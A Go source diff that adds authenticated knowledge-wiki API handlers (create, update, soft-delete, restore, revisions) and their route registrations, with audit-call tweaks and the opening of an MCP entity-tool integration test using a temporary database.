writeJSON(w, map[string]any{"items": items})
|
||||
}
|
||||
|
||||
// knowledgeWriteBody is the shared request shape for create and update.
|
||||
// Every field is a pointer so update can distinguish "not supplied" (leave
|
||||
// alone) from "supplied empty" (clear it) — a PUT that only changes tags
|
||||
// must not blank the body.
|
||||
type knowledgeWriteBody struct {
|
||||
Title *string `json:"title"`
|
||||
Content *string `json:"content"`
|
||||
Kind *string `json:"kind"`
|
||||
Tags *[]string `json:"tags"`
|
||||
Folder *string `json:"folder"`
|
||||
About *[]string `json:"about"`
|
||||
}
|
||||
|
||||
// serveCreateKnowledge creates a note plus its backing entity, and links it
|
||||
// to whatever entities it's about.
|
||||
func (s *Server) serveCreateKnowledge(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
var body knowledgeWriteBody
|
||||
if err := json.NewDecoder(req.Body).Decode(&body); err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid request body", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
title := strings.TrimSpace(deref(body.Title))
|
||||
content := strings.TrimSpace(deref(body.Content))
|
||||
if title == "" || content == "" {
|
||||
writeProblem(w, req, http.StatusBadRequest, "title and content are required", "")
|
||||
return
|
||||
}
|
||||
kind := deref(body.Kind)
|
||||
if kind == "" {
|
||||
kind = "document"
|
||||
}
|
||||
if !validKnowledgeKind(kind) {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid kind",
|
||||
"kind must be document, investigation, or runbook")
|
||||
return
|
||||
}
|
||||
tags := normalizeTags(derefSlice(body.Tags))
|
||||
slug := knowledgeSlugFor(kind, deref(body.Folder), title)
|
||||
_, actorLabel := actorInfo(ctx)
|
||||
|
||||
tx, err := s.pool.Begin(ctx)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "begin failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer tx.Rollback(ctx)
|
||||
|
||||
docID, _ := uuid.NewV7()
|
||||
// ON CONFLICT covers the soft-deleted case: the entity row survives a
|
||||
// delete, so recreating a note under the same slug must reuse it rather
|
||||
// than fail the unique constraint.
|
||||
if err := tx.QueryRow(ctx, `
|
||||
INSERT INTO entities (id, slug, type, name, attributes)
|
||||
VALUES ($1, $2, $3, $4, '{}')
|
||||
ON CONFLICT (slug) DO UPDATE SET name = EXCLUDED.name, updated_at = now()
|
||||
RETURNING id`, docID, slug, kind, title).Scan(&docID); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "create entity failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
// Refuse to silently overwrite an existing LIVE note — upsert_knowledge
|
||||
// (the MCP tool) deliberately upserts by title (the agent re-records the
|
||||
// same finding as it learns more), but an operator hitting "create" with
|
||||
// a colliding title almost certainly means to write something new.
|
||||
//
|
||||
// The `WHERE knowledge_entities.deleted_at IS NOT NULL` guard makes this
|
||||
// check atomic with the write, rather than a separate SELECT before it:
|
||||
// a plain pre-check has a TOCTOU race where two concurrent creates of
|
||||
// the same title can both pass the check and then both proceed to
|
||||
// INSERT ON CONFLICT DO UPDATE, silently clobbering each other. Here,
|
||||
// the UPDATE branch only actually applies when the conflicting row is
|
||||
// soft-deleted (a legitimate "resurrect" case). When it isn't, the row
|
||||
// is left untouched, RETURNING yields no row, and pgx.ErrNoRows below
|
||||
// becomes the 409 — the collision can never be missed, no matter how
|
||||
// the two writers interleave.
|
||||
var wroteID uuid.UUID
|
||||
err = tx.QueryRow(ctx, `
|
||||
INSERT INTO knowledge_entities
|
||||
(entity_id, title, content, source, tags, edited_by, updated_at, deleted_at)
|
||||
VALUES ($1, $2, $3, $4, $5, $4, now(), NULL)
|
||||
ON CONFLICT (entity_id) DO UPDATE
|
||||
SET title = EXCLUDED.title, content = EXCLUDED.content,
|
||||
tags = EXCLUDED.tags, edited_by = EXCLUDED.edited_by,
|
||||
updated_at = now(), deleted_at = NULL
|
||||
WHERE knowledge_entities.deleted_at IS NOT NULL
|
||||
RETURNING entity_id`,
|
||||
docID, title, content, actorLabel, tags).Scan(&wroteID)
|
||||
if errors.Is(err, pgx.ErrNoRows) {
|
||||
writeProblem(w, req, http.StatusConflict, "a note with this title already exists", slug)
|
||||
return
|
||||
} else if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "write knowledge failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
linked := s.linkKnowledgeAbout(ctx, tx, docID, derefSlice(body.About))
|
||||
|
||||
if err := tx.Commit(ctx); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "commit failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
slog.Info("knowledge created", "slug", slug, "kind", kind, "actor", actorLabel, "linked", linked)
|
||||
// Content-Type before WriteHeader — setting it after is a no-op, the
|
||||
// status line is already on the wire.
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
w.WriteHeader(http.StatusCreated)
|
||||
if err := json.NewEncoder(w).Encode(map[string]any{
|
||||
"slug": slug, "id": docID.String(), "linked": linked,
|
||||
}); err != nil {
|
||||
slog.Error("httpapi: json encode failed", "error", err)
|
||||
}
|
||||
}
|
||||
|
||||
// serveUpdateKnowledge edits a live note in place. The prior version is
|
||||
// captured by the trg_knowledge_revision trigger, not by this handler — see
|
||||
// the migration for why that lives in the database.
|
||||
//
|
||||
// Note the slug is intentionally NOT recomputed when the title changes:
|
||||
// slugs are the wiki's stable link target ([[slug]] references, relationship
|
||||
// rows, bookmarked window ids), and silently re-slugging on a typo fix would
|
||||
// break every inbound link.
|
||||
func (s *Server) serveUpdateKnowledge(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
idOrSlug, err := pathParam(req, "id")
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid id", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
var body knowledgeWriteBody
|
||||
if err := json.NewDecoder(req.Body).Decode(&body); err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid request body", err.Error())
|
||||
return
|
||||
}
|
||||
if body.Title == nil && body.Content == nil && body.Tags == nil && body.About == nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "nothing to update",
|
||||
"supply at least one of title, content, tags, about")
|
||||
return
|
||||
}
|
||||
if body.Title != nil && strings.TrimSpace(*body.Title) == "" {
|
||||
writeProblem(w, req, http.StatusBadRequest, "title cannot be empty", "")
|
||||
return
|
||||
}
|
||||
if body.Content != nil && strings.TrimSpace(*body.Content) == "" {
|
||||
writeProblem(w, req, http.StatusBadRequest, "content cannot be empty", "")
|
||||
return
|
||||
}
|
||||
|
||||
entityID, err := s.resolveKnowledgeEntity(ctx, idOrSlug)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusNotFound, "no such knowledge note", "")
|
||||
return
|
||||
}
|
||||
_, actorLabel := actorInfo(ctx)
|
||||
|
||||
tx, err := s.pool.Begin(ctx)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "begin failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer tx.Rollback(ctx)
|
||||
|
||||
// COALESCE keeps unsupplied fields untouched; edited_by and updated_at
|
||||
// always move so the UI can show who last touched it. The trigger only
|
||||
// snapshots when title/content/tags actually differ, so a no-op save
|
||||
// doesn't manufacture a revision.
|
||||
var newTitle *string
|
||||
if body.Title != nil {
|
||||
t := strings.TrimSpace(*body.Title)
|
||||
newTitle = &t
|
||||
}
|
||||
var newContent *string
|
||||
if body.Content != nil {
|
||||
c := strings.TrimSpace(*body.Content)
|
||||
newContent = &c
|
||||
}
|
||||
var newTags *[]string
|
||||
if body.Tags != nil {
|
||||
t := normalizeTags(*body.Tags)
|
||||
newTags = &t
|
||||
}
|
||||
|
||||
if _, err := tx.Exec(ctx, `
|
||||
UPDATE knowledge_entities
|
||||
SET title = COALESCE($2, title),
|
||||
content = COALESCE($3, content),
|
||||
tags = COALESCE($4, tags),
|
||||
edited_by = $5,
|
||||
updated_at = now()
|
||||
WHERE entity_id = $1`,
|
||||
entityID, newTitle, newContent, newTags, actorLabel); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "update failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
// Keep the entity's display name in step with the note title — the graph
|
||||
// and the fleet table read entities.name, and leaving it stale is exactly
|
||||
// the drift this app exists to fight.
|
||||
if newTitle != nil {
|
||||
if _, err := tx.Exec(ctx,
|
||||
`UPDATE entities SET name = $2, updated_at = now() WHERE id = $1`,
|
||||
entityID, *newTitle); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "rename entity failed", err.Error())
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// About is replace-semantics, not merge: the editor presents the full
|
||||
// link set, so an absent slug means the operator removed it. Existing
|
||||
// edges are closed (valid_to) rather than deleted, preserving history.
|
||||
var linked []string
|
||||
if body.About != nil {
|
||||
if _, err := tx.Exec(ctx, `
|
||||
UPDATE relationships SET valid_to = now()
|
||||
WHERE source_id = $1 AND valid_to IS NULL AND type IN ('documents', 'about')`,
|
||||
entityID); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "unlink failed", err.Error())
|
||||
return
|
||||
}
|
||||
linked = s.linkKnowledgeAbout(ctx, tx, entityID, *body.About)
|
||||
}
|
||||
|
||||
if err := tx.Commit(ctx); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "commit failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
slog.Info("knowledge updated", "entity_id", entityID, "actor", actorLabel)
|
||||
// `linked` lets the caller diff against what it submitted and warn about
|
||||
// any slug that didn't resolve — see linkKnowledgeAbout: a typo'd entity
|
||||
// slug otherwise fails with nothing but a server-side slog.Warn, so the
|
||||
// operator gets no feedback that one of their About links didn't take.
|
||||
writeJSON(w, map[string]any{"ok": true, "linked": linked})
|
||||
}
|
||||
|
||||
// serveDeleteKnowledge soft-deletes a note. The row, its revision trail and
|
||||
// its entity all survive; only the deleted_at stamp changes, and every read
|
||||
// path filters on it.
|
||||
func (s *Server) serveDeleteKnowledge(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
idOrSlug, err := pathParam(req, "id")
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid id", err.Error())
|
||||
return
|
||||
}
|
||||
entityID, err := s.resolveKnowledgeEntity(ctx, idOrSlug)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusNotFound, "no such knowledge note", "")
|
||||
return
|
||||
}
|
||||
_, actorLabel := actorInfo(ctx)
|
||||
|
||||
// Snapshot the live version before tombstoning. The trigger fires on
|
||||
// title/content/tags changes only, and a delete changes none of them —
|
||||
// without this the most recent version would be the one version missing
|
||||
// from the history if the note is later restored.
|
||||
if _, err := s.pool.Exec(ctx, `
|
||||
INSERT INTO knowledge_revisions
|
||||
(entity_id, title, content, source, tags, edited_by, version_at)
|
||||
SELECT entity_id, title, content, source, tags, COALESCE(edited_by,''), updated_at
|
||||
FROM knowledge_entities WHERE entity_id = $1`, entityID); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "snapshot failed", err.Error())
|
||||
return
|
||||
}
|
||||
if _, err := s.pool.Exec(ctx, `
|
||||
UPDATE knowledge_entities SET deleted_at = now(), edited_by = $2
|
||||
WHERE entity_id = $1`, entityID, actorLabel); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "delete failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
slog.Info("knowledge deleted", "entity_id", entityID, "actor", actorLabel)
|
||||
writeJSON(w, map[string]any{"ok": true})
|
||||
}
|
||||
|
||||
// serveRestoreKnowledge undoes a soft delete. The counterpart to
|
||||
// serveDeleteKnowledge — without it, "recoverable by clearing the column"
|
||||
// (see the migration) would only be true via psql, which isn't a real
|
||||
// recovery path for an operator using the wiki.
|
||||
func (s *Server) serveRestoreKnowledge(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
idOrSlug, err := pathParam(req, "id")
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid id", err.Error())
|
||||
return
|
||||
}
|
||||
entityID, err := s.resolveKnowledgeEntityAny(ctx, idOrSlug)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusNotFound, "no such knowledge note", "")
|
||||
return
|
||||
}
|
||||
_, actorLabel := actorInfo(ctx)
|
||||
|
||||
ct, err := s.pool.Exec(ctx, `
|
||||
UPDATE knowledge_entities SET deleted_at = NULL, edited_by = $2
|
||||
WHERE entity_id = $1 AND deleted_at IS NOT NULL`, entityID, actorLabel)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "restore failed", err.Error())
|
||||
return
|
||||
}
|
||||
if ct.RowsAffected() == 0 {
|
||||
writeProblem(w, req, http.StatusConflict, "note is not deleted", "")
|
||||
return
|
||||
}
|
||||
|
||||
slog.Info("knowledge restored", "entity_id", entityID, "actor", actorLabel)
|
||||
writeJSON(w, map[string]any{"ok": true})
|
||||
}
|
||||
|
||||
// serveKnowledgeRevisions returns the note's superseded versions, newest
|
||||
// first. Bodies are included: revisions are small (~1 KB) and few, and the
|
||||
// diff view needs both sides anyway — paginating would cost a round trip per
|
||||
// comparison to save nothing.
|
||||
func (s *Server) serveKnowledgeRevisions(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
idOrSlug, err := pathParam(req, "id")
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid id", err.Error())
|
||||
return
|
||||
}
|
||||
entityID, err := s.resolveKnowledgeEntityAny(ctx, idOrSlug)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusNotFound, "no such knowledge note", "")
|
||||
return
|
||||
}
|
||||
|
||||
rows, err := s.pool.Query(ctx, `
|
||||
SELECT id, title, content, COALESCE(edited_by,''), COALESCE(tags,'{}'),
|
||||
version_at::text, revised_at::text
|
||||
FROM knowledge_revisions
|
||||
WHERE entity_id = $1
|
||||
ORDER BY version_at DESC`, entityID)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
type revision struct {
|
||||
ID int64 `json:"id"`
|
||||
Title string `json:"title"`
|
||||
Content string `json:"content"`
|
||||
EditedBy string `json:"edited_by"`
|
||||
Tags []string `json:"tags"`
|
||||
VersionAt string `json:"version_at"`
|
||||
RevisedAt string `json:"revised_at"`
|
||||
}
|
||||
items := []revision{}
|
||||
for rows.Next() {
|
||||
var r revision
|
||||
if err := rows.Scan(&r.ID, &r.Title, &r.Content, &r.EditedBy, &r.Tags,
|
||||
&r.VersionAt, &r.RevisedAt); err != nil {
|
||||
slog.Error("httpapi: knowledge/revisions row scan failed", "error", err)
|
||||
continue
|
||||
}
|
||||
items = append(items, r)
|
||||
}
|
||||
|
||||
writeJSON(w, map[string]any{"items": items})
|
||||
}
|
||||
|
||||
// linkKnowledgeAbout points a note at the entities it concerns, skipping
|
||||
// slugs that don't resolve and edges that already exist. Returns the slugs
|
||||
// actually linked so the caller can report what stuck — a typo'd slug is a
|
||||
// silent no-op otherwise.
|
||||
func (s *Server) linkKnowledgeAbout(ctx context.Context, tx pgx.Tx, docID uuid.UUID, slugs []string) []string {
|
||||
linked := []string{}
|
||||
for _, raw := range slugs {
|
||||
slug := strings.TrimSpace(raw)
|
||||
if slug == "" {
|
||||
continue
|
||||
}
|
||||
var targetID uuid.UUID
|
||||
if err := tx.QueryRow(ctx, `SELECT id FROM entities WHERE slug = $1`, slug).Scan(&targetID); err != nil {
|
||||
slog.Warn("knowledge: about slug not found, skipping", "slug", slug)
|
||||
continue
|
||||
}
|
||||
if _, err := tx.Exec(ctx, `
|
||||
INSERT INTO relationships (source_id, target_id, type, attributes, valid_from)
|
||||
SELECT $1, $2, 'about', '{"by":"operator"}'::jsonb, now()
|
||||
WHERE NOT EXISTS (
|
||||
SELECT 1 FROM relationships
|
||||
WHERE source_id = $1 AND target_id = $2 AND type = 'about' AND valid_to IS NULL)`,
|
||||
docID, targetID); err != nil {
|
||||
slog.Warn("knowledge: link failed", "slug", slug, "error", err)
|
||||
continue
|
||||
}
|
||||
linked = append(linked, slug)
|
||||
}
|
||||
return linked
|
||||
}
|
||||
|
||||
// normalizeTags trims, lowercases and de-duplicates while preserving order.
|
||||
// Lowercasing is the fix for the casing drift already in the data — `oom`
|
||||
// and `OOM` were separate tags on separate notes, so neither tag page showed
|
||||
// the full set. Applied on every write so the split can't reopen.
|
||||
func normalizeTags(in []string) []string {
|
||||
seen := map[string]bool{}
|
||||
out := []string{}
|
||||
for _, t := range in {
|
||||
t = strings.ToLower(strings.TrimSpace(t))
|
||||
if t == "" || seen[t] {
|
||||
continue
|
||||
}
|
||||
seen[t] = true
|
||||
out = append(out, t)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func deref(p *string) string {
|
||||
if p == nil {
|
||||
return ""
|
||||
}
|
||||
return *p
|
||||
}
|
||||
|
||||
func derefSlice(p *[]string) []string {
|
||||
if p == nil {
|
||||
return nil
|
||||
}
|
||||
return *p
|
||||
}
|
||||
|
||||
// writeJSON is the success-path counterpart to writeProblem, so the handlers
|
||||
// in this file don't each repeat the header/encode dance.
|
||||
func writeJSON(w http.ResponseWriter, v any) {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
if err := json.NewEncoder(w).Encode(v); err != nil {
|
||||
slog.Error("httpapi: json encode failed", "error", err)
|
||||
}
|
||||
}
|
||||
@@ -155,14 +155,14 @@ func (s *Server) GetTrends(ctx context.Context, req gen.GetTrendsRequestObject)
|
||||
f, _ := slopeNum.Float64Value()
|
||||
t.Slope = float32Ptr(float32(f.Float64))
|
||||
if f.Float64 > 0.01 {
|
||||
t.Direction = gen.Improving
|
||||
t.Direction = gen.TrendDirectionImproving
|
||||
} else if f.Float64 < -0.01 {
|
||||
t.Direction = gen.Degrading
|
||||
t.Direction = gen.TrendDirectionDegrading
|
||||
} else {
|
||||
t.Direction = gen.Stable
|
||||
t.Direction = gen.TrendDirectionStable
|
||||
}
|
||||
} else {
|
||||
t.Direction = gen.Unknown
|
||||
t.Direction = gen.TrendDirectionUnknown
|
||||
}
|
||||
items = append(items, t)
|
||||
}
|
||||
|
||||
@@ -111,6 +111,7 @@ func (s *Server) PatchPattern(ctx context.Context, req gen.PatchPatternRequestOb
|
||||
actorType, actor := actorInfo(ctx)
|
||||
if auditErr := observability.Audit(ctx, q, actorType, actor, "patch",
|
||||
&id, "PATCH", "/api/v1/patterns/"+req.Id, "",
|
||||
nil,
|
||||
map[string]any{"status": req.Body.Status, "quarantined": req.Body.Quarantined}); auditErr != nil {
|
||||
return nil, auditErr
|
||||
}
|
||||
|
||||
@@ -65,6 +65,7 @@ func (s *Server) CreateRelationship(ctx context.Context, req gen.CreateRelations
|
||||
actorType, actor := actorInfo(ctx)
|
||||
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "create",
|
||||
nil, "POST", "/api/v1/relationships", "",
|
||||
nil,
|
||||
map[string]any{"source": req.Body.Source, "target": req.Body.Target, "type": req.Body.Type}); auditErr != nil {
|
||||
return nil, auditErr
|
||||
}
|
||||
@@ -108,6 +109,7 @@ func (s *Server) EndRelationship(ctx context.Context, req gen.EndRelationshipReq
|
||||
actorType, actor := actorInfo(ctx)
|
||||
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "delete",
|
||||
nil, "DELETE", "/api/v1/relationships", "",
|
||||
nil,
|
||||
map[string]any{"source": req.Params.Source, "target": req.Params.Target, "type": req.Params.RelType}); auditErr != nil {
|
||||
return nil, auditErr
|
||||
}
|
||||
|
||||
@@ -109,8 +109,19 @@ func NewHandler(ctx context.Context, pool *db.Pool, cfg config.Config) http.Hand
|
||||
// /api/v1/events/stream — in OpenAPI but re-registered for SSE Flush()
|
||||
// /api/v1/knowledge/recent — ad-hoc aggregation, no schema type yet
|
||||
// /api/v1/knowledge/content/{id} — returns raw markdown, not a gen type
|
||||
// /api/v1/knowledge/list — full tree listing, ad-hoc aggregate
|
||||
// /api/v1/knowledge (POST) — markdown in, no gen type
|
||||
// /api/v1/knowledge/content/{id} (PUT/DELETE) — markdown in, soft delete
|
||||
// /api/v1/knowledge/trash — soft-deleted notes, ad-hoc
|
||||
// /api/v1/knowledge/restore/{id} — undo a soft delete, no gen type
|
||||
// /api/v1/knowledge/revisions/{id} — version history, no schema type
|
||||
// /api/v1/knowledge/tags{,/rename} — tag index + bulk rewrite
|
||||
// /api/v1/knowledge/duplicates — trigram clustering, ad-hoc
|
||||
// /api/v1/knowledge/orphans — derived maintenance view
|
||||
// /api/v1/knowledge/merge — bulk fold-in, ad-hoc
|
||||
// /api/v1/activity/recent — recency-ordered, not paginated
|
||||
// /api/v1/activity/session/{id} — session-scoped aggregation
|
||||
// /api/v1/executions/{id}/logs — streamed command output, no schema type
|
||||
// /api/v1/learning/timeline — derived view, no backing schema type
|
||||
// /api/v1/learning/trend — derived view, no backing schema type
|
||||
//
|
||||
@@ -202,11 +213,45 @@ func NewHandler(ctx context.Context, pool *db.Pool, cfg config.Config) http.Hand
|
||||
// (See "Non-OpenAPI routes" carve-out block above.)
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/content/{id}", s.serveKnowledgeContent)
|
||||
|
||||
// Custom (non-OpenAPI) routes: the operator-facing knowledge CRUD surface
|
||||
// (see internal/httpapi/knowledge_write.go) and the drift tooling (see
|
||||
// knowledge_drift.go). Before these, knowledge could only be written by
|
||||
// the agent through the MCP upsert_knowledge tool — the web UI had no way
|
||||
// to create, correct or retire a note.
|
||||
//
|
||||
// Registered on the base router rather than through the OpenAPI codegen
|
||||
// for the same reason as the read routes above: they trade in raw
|
||||
// markdown and ad-hoc aggregates, not generated schema types.
|
||||
// (See "Non-OpenAPI routes" carve-out block above.)
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/list", s.serveKnowledgeList)
|
||||
r.With(combinedAuth(cfg, false)).Post("/api/v1/knowledge", s.serveCreateKnowledge)
|
||||
r.With(combinedAuth(cfg, false)).Put("/api/v1/knowledge/content/{id}", s.serveUpdateKnowledge)
|
||||
r.With(combinedAuth(cfg, false)).Delete("/api/v1/knowledge/content/{id}", s.serveDeleteKnowledge)
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/trash", s.serveKnowledgeTrash)
|
||||
r.With(combinedAuth(cfg, false)).Post("/api/v1/knowledge/restore/{id}", s.serveRestoreKnowledge)
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/revisions/{id}", s.serveKnowledgeRevisions)
|
||||
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/tags", s.serveKnowledgeTags)
|
||||
r.With(combinedAuth(cfg, false)).Post("/api/v1/knowledge/tags/rename", s.serveRenameKnowledgeTag)
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/duplicates", s.serveKnowledgeDuplicates)
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/orphans", s.serveKnowledgeOrphans)
|
||||
r.With(combinedAuth(cfg, false)).Post("/api/v1/knowledge/merge", s.serveMergeKnowledge)
|
||||
|
||||
// Drift audit: read-only DB-side report of orphan checks, checks on
|
||||
// retired targets, stuck down/unknown probes, unmonitored declared types,
|
||||
// and dangling edges. Companion to the knowledge-graph-audit skill.
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/audit/drift", s.serveAuditDrift)
|
||||
|
||||
// Custom (non-OpenAPI) routes: the global activity feed (recency-ordered,
|
||||
// unlike ListExecutions which sorts by target for pagination) and the
|
||||
// per-session "what did this session do" digest.
|
||||
// (See "Non-OpenAPI routes" carve-out block above.)
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/activity/recent", s.serveRecentActivity)
|
||||
// Streamed command output for one execution — a projection over
|
||||
// execution_logs with no schema type yet (same carve-out rationale as
|
||||
// /activity/recent above). Nests cleanly under the generated
|
||||
// /executions/{id} subtree: chi accepts sibling children on a param node.
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/executions/{id}/logs", s.serveExecutionLogs)
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/activity/session/{id}", s.serveSessionDigest)
|
||||
|
||||
// Learning view: capability timeline + success trend, both derived from
|
||||
@@ -349,10 +394,10 @@ func staticTokenActor(cfg config.Config, raw string) (actor, bool) {
|
||||
// jwtVerificationKey holds a parsed RSA public key or HMAC secret for JWT
|
||||
// verification, identified by its key ID (kid).
|
||||
type jwtVerificationKey struct {
|
||||
Kid string
|
||||
Alg string
|
||||
Key any // *rsa.PublicKey or []byte for HMAC
|
||||
IsHMAC bool
|
||||
Kid string
|
||||
Alg string
|
||||
Key any // *rsa.PublicKey or []byte for HMAC
|
||||
IsHMAC bool
|
||||
}
|
||||
|
||||
// discoverJWKSURI fetches the OIDC discovery document and extracts the
|
||||
@@ -598,8 +643,8 @@ func resolveOIDCTokenURL(issuer string) string {
|
||||
func (s *Server) serveOIDCConfig(w http.ResponseWriter, _ *http.Request, cfg config.Config) {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]string{
|
||||
"issuer": cfg.OIDCIssuer,
|
||||
"client_id": cfg.OIDCClientID,
|
||||
"issuer": cfg.OIDCIssuer,
|
||||
"client_id": cfg.OIDCClientID,
|
||||
"authorization_endpoint": resolveOIDCEndpointURL(cfg.OIDCIssuer, "/authorize/"),
|
||||
})
|
||||
}
|
||||
@@ -863,4 +908,4 @@ func ListenAndServe(ctx context.Context, pool *db.Pool, cfg config.Config) error
|
||||
defer cancel()
|
||||
return srv.Shutdown(shutdownCtx)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -136,6 +136,7 @@ func (s *Server) PatchSkill(ctx context.Context, req gen.PatchSkillRequestObject
|
||||
actorType, actor := actorInfo(ctx)
|
||||
if auditErr := observability.Audit(ctx, q, actorType, actor, "patch",
|
||||
&id, "PATCH", "/api/v1/skills/"+req.Id, "",
|
||||
nil,
|
||||
map[string]any{"status": req.Body.Status, "pinned_version": req.Body.PinnedVersion}); auditErr != nil {
|
||||
return nil, auditErr
|
||||
}
|
||||
|
||||
251
internal/mcp/create_entity_test.go
Normal file
251
internal/mcp/create_entity_test.go
Normal file
@@ -0,0 +1,251 @@
|
||||
package mcp
|
||||
|
||||
// Integration tests for the entity-mutation MCP tools (create_entity,
|
||||
// update_entity_attributes), focused on the capability gap that stranded
|
||||
// session 23da10db: entities mutated via MCP must derive/regenerate checks the
|
||||
// same way the HTTP create/patch paths do. Guarded by OIKOS_TEST_DATABASE_URL
|
||||
// (see internal/db/integration_test.go); run via `make test-db`.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/dtoro/oikos/internal/checkdefaults"
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/google/uuid"
|
||||
"github.com/jackc/pgx/v5"
|
||||
"github.com/modelcontextprotocol/go-sdk/mcp"
|
||||
)
|
||||
|
||||
// newTestPool mirrors internal/httpapi/api_test.go: a throwaway database,
|
||||
// migrated and seeded with ontology/inventory/policy so create_entity's type
|
||||
// validation and checkdefaults derivation have a real type tree to work
|
||||
// against.
|
||||
func newTestPool(t *testing.T) *db.Pool {
|
||||
t.Helper()
|
||||
baseURL := os.Getenv("OIKOS_TEST_DATABASE_URL")
|
||||
if baseURL == "" {
|
||||
t.Skip("OIKOS_TEST_DATABASE_URL not set — skipping integration test")
|
||||
}
|
||||
ctx := context.Background()
|
||||
|
||||
admin, err := pgx.Connect(ctx, baseURL)
|
||||
if err != nil {
|
||||
t.Fatalf("connect admin: %v", err)
|
||||
}
|
||||
dbName := fmt.Sprintf("oikos_mcp_test_%08x", rand.Int63())
|
||||
if _, err := admin.Exec(ctx, "CREATE DATABASE "+dbName); err != nil {
|
||||
admin.Close(ctx)
|
||||
t.Fatalf("create test db: %v", err)
|
||||
}
|
||||
admin.Close(ctx)
|
||||
|
||||
qi := strings.Index(baseURL, "?")
|
||||
base, params := baseURL, ""
|
||||
if qi >= 0 {
|
||||
base, params = baseURL[:qi], baseURL[qi:]
|
||||
}
|
||||
testURL := base[:strings.LastIndex(base, "/")+1] + dbName + params
|
||||
|
||||
pool, err := db.New(ctx, testURL)
|
||||
if err != nil {
|
||||
t.Fatalf("connect test db: %v", err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
pool.Close()
|
||||
if admin, e := pgx.Connect(ctx, baseURL); e == nil {
|
||||
admin.Exec(ctx, "DROP DATABASE IF EXISTS "+dbName+" WITH (FORCE)")
|
||||
admin.Close(ctx)
|
||||
}
|
||||
})
|
||||
|
||||
if err := pool.Migrate(ctx); err != nil {
|
||||
t.Fatalf("migrate: %v", err)
|
||||
}
|
||||
for _, f := range []string{"ontology.yaml", "inventory.yaml", "policy.yaml"} {
|
||||
content, err := os.ReadFile("../../seeds/" + f)
|
||||
if err != nil {
|
||||
t.Fatalf("read seed %s: %v", f, err)
|
||||
}
|
||||
name := f
|
||||
if err := pool.SeedIngest(ctx, name, content,
|
||||
func(ctx context.Context, tx pgx.Tx, data map[string]any) error {
|
||||
var err error
|
||||
switch name {
|
||||
case "ontology.yaml":
|
||||
_, err = db.IngestOntologySeed(ctx, tx, data)
|
||||
case "inventory.yaml":
|
||||
